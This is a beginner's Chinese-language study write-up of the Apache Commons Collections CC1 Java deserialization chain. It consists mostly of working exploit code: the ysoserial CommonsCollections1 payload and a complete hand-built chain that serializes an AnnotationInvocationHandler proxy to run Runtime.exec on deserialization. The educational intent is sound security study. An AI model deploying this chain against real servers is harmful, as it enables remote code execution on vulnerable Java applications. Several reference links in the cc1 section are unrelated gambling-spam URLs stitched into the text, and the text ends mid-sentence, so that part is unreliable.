纯萌新,如有不当之处请各位师傅批评指正
本文旨在记录一下cc1的学习过程,尽可能使用通俗易懂的语言进行讲解,不很了解java语言的可以使用以下提示词
把这段代码当作我完全不会编程来解释:逐行说明每行代码做了什么、为什么这样做,以及整个程序的功能。用最通俗的语言,不要跳过任何基础概念,包括函数用法。先了解cc链是什么
CC = Commons Collections。
"The Apache Commons Collections package contains types that extend and augment the Java Collections Framework." —— 即扩展和增强 Java 集合框架的类型库,由 Apache 软件基金会维护。
CC1 指 Apache Commons Collections 库的第一个反序列化利用链,后续还有 CC2~CC7 等多个变种。
明确cc利用链的使用场景:攻击者只能发送一个序列化对象,让服务端反序列化。
一、基础机制类
1.java.lang.reflect.Method
介绍:
Java 反射核心类,用于在运行时动态调用任意对象的任意方法。CC 链中几乎所有Runtime.exec()的调用都仰赖它——因为Runtime本身没有实现Serializable,不能直接序列化,必须通过反射在 readObject 侧动态获取。
关键代码:
// 获取 Runtime 类 Class<?> clazz = Class.forName("java.lang.Runtime"); // 获取 exec 方法 Method execMethod = clazz.getMethod("exec", String.class); // 静态调用(无 receiver) Method getRuntimeMethod = clazz.getMethod("getRuntime"); Object runtime = getRuntimeMethod.invoke(null); // Runtime.getRuntime() // 实例调用 execMethod.invoke(runtime, "calc.exe");逻辑分析:
Method对象本身实现了Serializable(存的是方法签名,反序列化时通过签名重新解析)invoke接受两个参数:方法所属对象 + 参数数组- 对于静态方法,第一个参数传
null - 反射是 CC 链的底层基础设施——
InvokerTransformer内部封装的就是一次Method.invoke()(听不懂没关系,我们后面会再提到)
测试代码示例:
import java.lang.reflect.Method; public class Test { public static void main(String[] args) throws Exception { Class<?> runtimeClass = Class.forName("java.lang.Runtime"); Method getRuntime = runtimeClass.getMethod("getRuntime"); Object runtime = getRuntime.invoke(null); Method exec = runtimeClass.getMethod("exec", String.class); exec.invoke(runtime, "calc.exe"); } } javac Test.java java Test二、核心Transformer类
1.ConstantTransformer
介绍:
最简单的 Transformer 实现——transform()方法永远返回构造函数中传入的常量,忽略输入参数。常用于 CC 链的第一个环节,用来给后续InvokerTransformer提供目标对象(如Runtime.class)。
关键代码:
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; // ← 无论 input 是什么,都返回固定值 } }逻辑分析:
- 在 CC 链中,第一个 transformer 通常是
ConstantTransformer(Runtime.class)—— 不管输入是什么,都返回Runtime.class对象 - 这个
Runtime.class会传给下一个InvokerTransformer("getMethod", ...),从而调用Class.getMethod("getRuntime")
2.InvokerTransformer
介绍:
Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用指定的方法并返回方法调用结果。
关键代码:
public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class<?>[] iParamTypes; private final Object[] iArgs; public InvokerTransformer(String methodName, Class<?>[] paramTypes, Object[] args) { //方法名、参数类型、参数 this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) return null; Class<?> cls = input.getClass(); //拿类名 Method method = cls.getMethod(iMethodName, iParamTypes); //调用预先设置好的方法 return method.invoke(input, iArgs); // ← 反射调用 } }逻辑分析:
- 核心逻辑:
input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs) - 通过
InvokerTransformer("exec", [String.class], ["calc"])→ 对 Runtime 实例调用exec("calc")
利用代码示例:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Test { public static void main(String[] args) { Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); transformer.transform(Runtime.getRuntime()); } }需要下载commons-collections-3.2.2.jar放在目录下,不然会找不到所需类
javac -cp commons-collections-3.2.2.jar Test.java java -cp .;commons-collections-3.2.2.jar Test3.ChainedTransformer
介绍:
将多个Transformer串联成一条执行链——transform(input)会依次调用每个Transformer,前一个的输出作为后一个的输入。
关键代码:
public class ChainedTransformer implements Transformer, Serializable { private final Transformer<?, ?>[] iTransformers; public ChainedTransformer(Transformer<?, ?>[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } // ← 链式调用 return object; } }利用代码示例:
( 利用 ChainedTransformer 实现 Runtime.getRuntime().exec("calc") )
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; public class Test { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers); // 触发整个链 chain.transform("任意输入"); // → 打开计算器 } } javac -cp commons-collections-3.2.2.jar Test.java java -cp .;commons-collections-3.2.2.jar Test三、容器 / Map 触发类
1.LazyMap
用处很广泛据说。当一个 key 在 Map 中不存在时,get(key)会调用预设的factory.transform(key)来生成 value,然后将key-value放入Map并返回。
重要的是,其 get 方法会调用预先声明的类的transform方法,我们可以借此触发ChainedTransformer的transform方法。
LazyMap设计的初衷是,当你在请求一个Map中某个key的值的时候,如果key不存在,LazyMap可以自动创建一个值放到Map里再返回。省去 if (null) 判断,懒加载自动创建。就是个带默认值工厂的 Map。
public class LazyMap extends AbstractMapDecorator { protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } public Object get(Object key) { if (!map.containsKey(key)) { // ← key 不存在时触发 Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }逻辑分析:
- 触发条件简单:
lazyMap.get(anyNewKey)→factory.transform(anyNewKey)
利用代码示例:
public class Test { public static void main(String[] args) { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); lazyMap.get("anything"); } } javac -cp commons-collections-3.2.2.jar Test.java java -cp .;commons-collections-3.2.2.jar Test四、触发入口(readObject 落地类)
1.AnnotationInvocationHandler
介绍:
CC1 和 CC3 链的反序列化入口类。它实现了InvocationHandler(这个后面会再提到,先记着有这么个东西) 和Serializable,自定义了readObject()方法。当反序列化时,readObject()会遍历memberValues(一个 Map),沿途触发TransformedMap.setValue()或LazyMap.get()。
设计初衷:
把注解的成员变量存在一个 Map<String, Object> 里(memberValues),通过动态代理把value()等方法调用映射成memberValues.get("value")。
CC 链劫持的是它的 readObject() 方法——这个方法会遍历 memberValues 这个 Map,而 CC 链把 memberValues 替换成了 TransformedMap 或 LazyMap,遍历操作就触发了命令执行。
关键代码:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; //memberValues=lazymap } // readObject 反序列化时自动执行(JDK ≤ 8u71),入口 private void readObject(ObjectInputStream s) throws IOException { s.defaultReadObject(); // 遍历 memberValues 的 entrySet for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Object value = memberValue.getValue(); // 如果是 TransformedMap,这里会触发 setValue 的回调 // 或者是 LazyMap 的 Proxy 场景,触发 get() } } //利用 invoke 方法可实现调用 LazyMap#get public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); // 如果 memberValues 是 LazyMap // LazyMap.get(methodName) → key 不存在 → 触发链 return memberValues.get(methodName); } }cc1
测试环境:3.1-3.2.1 jdk版本小于u71
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/
https://github.com/katarriski/poknml/blob/main/%E7%BD%91%E5%9D%80889.ga%E6%AC%A7%E5%8D%9A%E8%81%94%E7%B3%BB%E6%96%B9%E5%BC%8F3t.md
https://github.com/prabutuni/nmlajs/blob/main/%E7%BD%91%E5%9D%80889.ga%E6%AC%A7%E5%8D%9A%E5%AE%98%E6%96%B9APPS.md
https://github.com/prabutuni/nmlajs/blob/main/%E5%BE%AE%E4%BF%A15487663%E6%AC%A7%E5%8D%9A%E5%BC%80%E6%88%B7%E6%96%B9%E5%BC%8FT.md
package ysoserial.payloads; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */ @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.FROHOFF }) public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }完整调用链
ObjectInputStream.readObject() → AnnotationInvocationHandler.readObject() → Proxy.entrySet() → AnnotationInvocationHandler.invoke() → LazyMap.get() → ChainedTransformer.transform() → InvokerTransformer.transform() → Runtime.exec()这里尝试一步步还原出cc1,加深理解
public class CommonsCollections1 { public static void main(String[] args) throws Exception { //1.构建Transformer链,这也是我们最终目标 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; //2.放进ChainedTransformer Transformer chainedTransformer = new ChainedTransformer(transformers); //3.放进LazyMap Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);先实例化AnnotationInvocationHandler类,但是由于他在sun.reflect.annotation.AnnotationInvocationHandler里,不是public不能直接创建,我们需要反射调用
由于知道这个类的路径,我们可以使用Class.forName("类的路径")来拿到这个类
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");拿到构造函数
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);允许调用私有构造方法
constructor.setAccessible(true);然后我们创建对象并给他的构造方法传参
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); // 这个 innerHandler 的 memberValues = lazyMap // 以后谁调 innerHandler.invoke(),里面就会调 lazyMap.get(方法名)这里用newInstance方法调用构造方法,Override.class任意注释,lazyMap是AnnotationInvocationHandler类接收的第二个参数,也就是我们要用来触发get的目标(我们要触发lazyMap的get方法,看不懂就再回去看AnnotationInvocationHandler类介绍里的代码和注释)
然后我们就要创建要利用的代理对象(Proxy类的newProxyInstance方法可以实现:触发代理对象的任意方法,都会默认变成触发第三个参数的invoke方法,而我们要触发AnnotationInvocationHandler类的invoke方法,第三个参数就应该是AnnotationInvocationHandler类)
目标:让某个对象调用entrySet()时,变成调lazyMap.get("entrySet")
学习下Proxy类的newProxyInstance方法
Proxy.newProxyInstance( 类加载器, 接口数组, 处理器 )三个参数分别选择
LazyMap.class.getClassLoader()好像用任意类都可以LazyMap.class.getInterfaces()拿到lazymap的全部接口(这个参数是用于告诉proxy代理对象要假装实现的方法)
LazyMap 的声明是: public class LazyMap extends AbstractMapDecorator implements Map, Serializable { 所以 LazyMap.class.getInterfaces() 返回的是: [Map.class, Serializable.class] 两个接口: - Map.class → 代理对象假装是 Map,有 get(), entrySet() 等方法 - Serializable.class → 代理对象可以序列化handler这里是指向了我们之前创建的AnnotationInvocationHandler类(这是第三个参数。Proxy 生成的假对象上,任何人调它的任何方法(包括AnnotationInvocationHandler中的entrySet(),这也是我们利用的关键),都不真的执行,而是转给 handler 里的 invoke 方法统一处理,而我们已经提前设置好memberValues = lazyMap,这样就成功调用了LazyMap的get()方法)
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);然后就是创建一个新的AnnotationInvocationHandler(名叫 handler1),把代理Map(mapProxy)传入,作用是触发上面的newProxyInstance
遍历 entrySet → 触发上面的 Proxy 拦截链
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);最后加上序列化代码
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close();可以本地测试一下,只需要加上反序列化代码
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close();最终代码
import java.lang.reflect.Constructor; import java.lang.reflect.Proxy; import java.io.ByteArrayOutputStream; import java.io.ByteArrayInputStream; import java.io.ObjectOutputStream; import java.io.ObjectInputStream; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; public class CommonsCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance( LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler ); InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }本地验证的时候环境还又修改了一下
最终